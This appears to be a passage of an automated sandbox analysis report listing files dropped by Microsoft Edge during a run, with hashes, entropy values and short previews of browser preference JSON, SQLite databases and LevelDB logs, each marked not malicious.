                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):20480
                                                                                                                                                                          Entropy (8bit):0.8307038620100359
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
                                                                                                                                                                          MD5:B18967139991D9CA13DF7E493540A358
                                                                                                                                                                          SHA1:97411C14A8503C11248BE7404C9A79BA5146D40C
                                                                                                                                                                          SHA-256:CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
                                                                                                                                                                          SHA-512:473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9220
                                                                                                                                                                          Entropy (8bit):5.077810642838238
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
                                                                                                                                                                          MD5:5F4267F7835DB6078EB9383C57E3A3BA
                                                                                                                                                                          SHA1:BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
                                                                                                                                                                          SHA-256:3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
                                                                                                                                                                          SHA-512:4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9220
                                                                                                                                                                          Entropy (8bit):5.077810642838238
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
                                                                                                                                                                          MD5:5F4267F7835DB6078EB9383C57E3A3BA
                                                                                                                                                                          SHA1:BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
                                                                                                                                                                          SHA-256:3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
                                                                                                                                                                          SHA-512:4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9220
                                                                                                                                                                          Entropy (8bit):5.077810642838238
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
                                                                                                                                                                          MD5:5F4267F7835DB6078EB9383C57E3A3BA
                                                                                                                                                                          SHA1:BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
                                                                                                                                                                          SHA-256:3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
                                                                                                                                                                          SHA-512:4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9220
                                                                                                                                                                          Entropy (8bit):5.077810642838238
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
                                                                                                                                                                          MD5:5F4267F7835DB6078EB9383C57E3A3BA
                                                                                                                                                                          SHA1:BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
                                                                                                                                                                          SHA-256:3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
                                                                                                                                                                          SHA-512:4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):24853
                                                                                                                                                                          Entropy (8bit):5.565153664369704
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
                                                                                                                                                                          MD5:F1CC119F1D79C4C7786789EC1A10533A
                                                                                                                                                                          SHA1:11B8D5FE234730FF64285FD98A7B4FF0C1A96103
                                                                                                                                                                          SHA-256:637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
                                                                                                                                                                          SHA-512:4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):24853
                                                                                                                                                                          Entropy (8bit):5.565153664369704
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
                                                                                                                                                                          MD5:F1CC119F1D79C4C7786789EC1A10533A
                                                                                                                                                                          SHA1:11B8D5FE234730FF64285FD98A7B4FF0C1A96103
                                                                                                                                                                          SHA-256:637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
                                                                                                                                                                          SHA-512:4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):213
                                                                                                                                                                          Entropy (8bit):2.7541301583060975
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:S8ltHlS+QUl1ASEGhTFljljljljljljljljl:S85aEFljljljljljljljljl
                                                                                                                                                                          MD5:046CC08D163FC4578CD1B77A5D0965AC
                                                                                                                                                                          SHA1:92F503E605C30974BAF385F1619F1269B81DEC57
                                                                                                                                                                          SHA-256:693A60684AA9FF4F01CB6027E9C938F4701C0C898AFC224A0776CB1E18E87166
                                                                                                                                                                          SHA-512:E8B1DF36A237BCBBAD897146CA247EDF75466B2A4030FEC620C46932B5C31137F2931CD2758534E4308AED3FB9CC40EDF2D7646A38530BCC5E6D7069C19A3B1F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):320
                                                                                                                                                                          Entropy (8bit):5.086532967255421
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EYC3+q2PqLTwi23oH+TcwtrQMxIFUt8FWe5Zmw+FGLVkwOqLTwi23oH+TcwtrQMT:E6v8wZYebCFUt8FWe5/+FGR5TwZYebtJ
                                                                                                                                                                          MD5:F616DA7089849A0D09C8380BBD27CA3E
                                                                                                                                                                          SHA1:3295C8124005F4A78246D2DE455D7AB190C5D371
                                                                                                                                                                          SHA-256:C4CF3CD6D0FF9F0D0A01D83B4271FA7C05F78C31B68CE1BF18E329F0BA32480E
                                                                                                                                                                          SHA-512:73D30E29900E4BDC75C04B5A18908EA8113943BD8F9BA0C9E26C2CC73996DE3CAC5A5F5C59340F9DCE652261ED840ADF705FEBE2AF71609F54528801E67C8B5F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.476 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/23-02:40:00.478 14d8 Recovering log #3.2024/12/23-02:40:00.480 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):320
                                                                                                                                                                          Entropy (8bit):5.086532967255421
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EYC3+q2PqLTwi23oH+TcwtrQMxIFUt8FWe5Zmw+FGLVkwOqLTwi23oH+TcwtrQMT:E6v8wZYebCFUt8FWe5/+FGR5TwZYebtJ
                                                                                                                                                                          MD5:F616DA7089849A0D09C8380BBD27CA3E
                                                                                                                                                                          SHA1:3295C8124005F4A78246D2DE455D7AB190C5D371
                                                                                                                                                                          SHA-256:C4CF3CD6D0FF9F0D0A01D83B4271FA7C05F78C31B68CE1BF18E329F0BA32480E
                                                                                                                                                                          SHA-512:73D30E29900E4BDC75C04B5A18908EA8113943BD8F9BA0C9E26C2CC73996DE3CAC5A5F5C59340F9DCE652261ED840ADF705FEBE2AF71609F54528801E67C8B5F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.476 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/23-02:40:00.478 14d8 Recovering log #3.2024/12/23-02:40:00.480 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1271
                                                                                                                                                                          Entropy (8bit):3.662248448748121
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:3msiVrsCVIolMhZiitTBuEzro3MnKtLKKuPbcogp9q+yiEoYIfBuEzFjI3Zpl:3mp3WrhXJ4ok3R/pogp5qo34oFk
                                                                                                                                                                          MD5:364D6E779EF60AAD0E4181AF60EC9158
                                                                                                                                                                          SHA1:808AC13B90B20C8D3A527A5B2E7619B1CEE7D0A8
                                                                                                                                                                          SHA-256:7872D4F9DBD9565A8F022AC4F23C83F446065B470CAA5223C029286B999749A0
                                                                                                                                                                          SHA-512:D79C5CB6B134D5E28DE62EB68336A411D75144FCC57ED96C0217AF2EBCF620FA0F240739A295687E7ABD304F9E06E413F15D692E31FE5CE225B830D4493F35C3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SNSS.........^m.............^m......"..^m.............^m.........^m.........^m.........^m....!....^m.................................^m..^m1..,.....^m$...20662bbc_0049_4c02_9722_a7b1e60772b6.....^m.........^m.................^m.....^m.........................^m.........................^m....q..l.....^m....3...file:///C:/Users/user/AppData/Roaming/New_2025.webp.............!............................................................................................................).......)..8.......P...............H.......................................................n...3...f.i.l.e.:./././.C.:./.U.s.e.r.s./.t.i.n.a./.A.p.p.D.a.t.a./.R.o.a.m.i.n.g./.N.e.w._.2.0.2.5...w.e.b.p...................................8.......0.......8....................................................................... .......................................................P...$...e.3.4.3.b.a.b.7.-.0.8.c.1.-.4.9.2.3.-.b.0.8.d.-.6.2.d.a.5.8.0.9.f.3.a.8.................P...$...1.3.d.9.f.6.0.8.-.b.a.d.8.-.4.5.c
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):20480
                                                                                                                                                                          Entropy (8bit):0.44194574462308833
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
                                                                                                                                                                          MD5:B35F740AA7FFEA282E525838EABFE0A6
                                                                                                                                                                          SHA1:A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
                                                                                                                                                                          SHA-256:5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
                                                                                                                                                                          SHA-512:05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):345
                                                                                                                                                                          Entropy (8bit):5.166904140136769
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARhF34q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8fRjrJZmw+fRkFkwOqLTwi23oH+Tcz:YhOv8wZYebIhHh2FUt8ZjrJ/+Zi5TwZ0
                                                                                                                                                                          MD5:3AB8B1D162DD70F36E61057AC6ED4165
                                                                                                                                                                          SHA1:F28D90F8237E7943D73DEEBD7017207EB5278AA3
                                                                                                                                                                          SHA-256:99C6C78C8475D6DB01C28CC2F398C1776EF63BA60D3113FE38050F955C42206E
                                                                                                                                                                          SHA-512:47B70BCE5A865CC99C1F4CFE65719FAE772530A6ED6B6D969422DDDF04D3B76598CD8A2749EE1DB4705A52C8053F2EDF169DCE6A6D395894F0795C3989F6FBBC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.680 c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/23-02:39:59.697 c34 Recovering log #3.2024/12/23-02:39:59.698 c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):345
                                                                                                                                                                          Entropy (8bit):5.166904140136769
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARhF34q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8fRjrJZmw+fRkFkwOqLTwi23oH+Tcz:YhOv8wZYebIhHh2FUt8ZjrJ/+Zi5TwZ0
                                                                                                                                                                          MD5:3AB8B1D162DD70F36E61057AC6ED4165
                                                                                                                                                                          SHA1:F28D90F8237E7943D73DEEBD7017207EB5278AA3
                                                                                                                                                                          SHA-256:99C6C78C8475D6DB01C28CC2F398C1776EF63BA60D3113FE38050F955C42206E
                                                                                                                                                                          SHA-512:47B70BCE5A865CC99C1F4CFE65719FAE772530A6ED6B6D969422DDDF04D3B76598CD8A2749EE1DB4705A52C8053F2EDF169DCE6A6D395894F0795C3989F6FBBC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.680 c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/23-02:39:59.697 c34 Recovering log #3.2024/12/23-02:39:59.698 c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):270336
                                                                                                                                                                          Entropy (8bit):0.0012471779557650352
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:MsEllllkEthXllkl2zE:/M/xT02z
                                                                                                                                                                          MD5:F50F89A0A91564D0B8A211F8921AA7DE
                                                                                                                                                                          SHA1:112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
                                                                                                                                                                          SHA-256:B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
                                                                                                                                                                          SHA-512:BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):270336
                                                                                                                                                                          Entropy (8bit):0.0012471779557650352
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:MsEllllkEthXllkl2zE:/M/xT02z
                                                                                                                                                                          MD5:F50F89A0A91564D0B8A211F8921AA7DE
                                                                                                                                                                          SHA1:112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
                                                                                                                                                                          SHA-256:B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
                                                                                                                                                                          SHA-512:BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):430
                                                                                                                                                                          Entropy (8bit):5.234353979167055
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:EGv8wZYebvqBQFUt8Fscu5/+FxO5TwZYebvqBvJ:EE8wZYebvZg8FvxYTwZYebvk
                                                                                                                                                                          MD5:907593D4CEBC22D045AE1AB754541632
                                                                                                                                                                          SHA1:C9AE431563944CEEFA087FF71BD2281EA0CE8A56
                                                                                                                                                                          SHA-256:848EF7D75EA7E33E56AB58095103F4C5A1231B153CC447423393E8B95175F8B5
                                                                                                                                                                          SHA-512:6D9BB5FF0F0CF4223E163A38641A242DE8B031D9DC7112A34C1AEC9C16827B34CE5DB1EEF4B94A407222F12B21B63A4B39826241F814223E34D49E7C5DA3C1BC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.537 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.569 14d8 Recovering log #3.2024/12/23-02:40:00.587 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):430
                                                                                                                                                                          Entropy (8bit):5.234353979167055
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:EGv8wZYebvqBQFUt8Fscu5/+FxO5TwZYebvqBvJ:EE8wZYebvZg8FvxYTwZYebvk
                                                                                                                                                                          MD5:907593D4CEBC22D045AE1AB754541632
                                                                                                                                                                          SHA1:C9AE431563944CEEFA087FF71BD2281EA0CE8A56
                                                                                                                                                                          SHA-256:848EF7D75EA7E33E56AB58095103F4C5A1231B153CC447423393E8B95175F8B5
                                                                                                                                                                          SHA-512:6D9BB5FF0F0CF4223E163A38641A242DE8B031D9DC7112A34C1AEC9C16827B34CE5DB1EEF4B94A407222F12B21B63A4B39826241F814223E34D49E7C5DA3C1BC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.537 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.569 14d8 Recovering log #3.2024/12/23-02:40:00.587 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40
                                                                                                                                                                          Entropy (8bit):4.1275671571169275
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Y2ktGMxkAXWMSN:Y2xFMSN
                                                                                                                                                                          MD5:20D4B8FA017A12A108C87F540836E250
                                                                                                                                                                          SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                                                                                                                                                          SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                                                                                                                                                          SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"SDCH":{"dictionaries":{},"version":2}}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
